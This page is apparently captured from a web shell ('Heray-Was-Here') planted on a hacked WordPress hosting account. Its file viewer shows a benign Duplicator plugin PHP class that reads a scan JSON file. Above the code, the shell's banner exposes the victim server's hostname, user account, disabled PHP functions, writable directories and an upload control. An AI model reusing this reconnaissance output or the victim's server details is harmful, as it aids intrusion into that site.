Heray-Was-Here
Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/jasonp18/www/wp-content/plugins/duplicator/installer/dup-installer/src/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/jasonp18/www/wp-content/plugins/duplicator/installer/dup-installer/src/Models/ScanInfo.php
<?php

/**
 * @package   Duplicator
 * @copyright (c) 2021, Snapcreek LLC
 */

namespace Duplicator\Installer\Models;

use DUPX_Package;
use Exception;

/**
 * Package scan info
 */
final class ScanInfo
{
    /** @var array */
    private $data = array();
    /** @var self */
    private static $instance = null;

    /**
     * Get instance
     *
     * @return self
     */
    public static function getInstance()
    {
        if (is_null(self::$instance)) {
            self::$instance = new self();
        }

        return self::$instance;
    }

    /**
     * Singleton class constructor
     */
    private function __construct()
    {
        $scanFile = DUPX_Package::getScanJsonPath();
        if (!file_exists($scanFile)) {
            throw new Exception("Archive file $scanFile doesn't exist");
        }

        if (($contents = file_get_contents($scanFile)) === false) {
            throw new Exception("Can\'t read Archive file $scanFile");
        }

        if (($this->data = json_decode($contents, true)) === null) {
            throw new Exception("Can\'t decode archive json");
        }
    }

    /**
     * Get uncompressed size, -1 unknown
     *
     * @return int
     */
    public function getUSize()
    {
        return isset($this->data['ARC']['Usize']) ? $this->data['ARC']['Usize'] : -1;
    }

    /**
     * Return true if package has filtered core folders
     *
     * @return bool
     */
    public function hasFilteredCoreFolders()
    {
        return $this->data['ARC']['Status']['HasFilteredCoreFolders'];
    }
}

Hry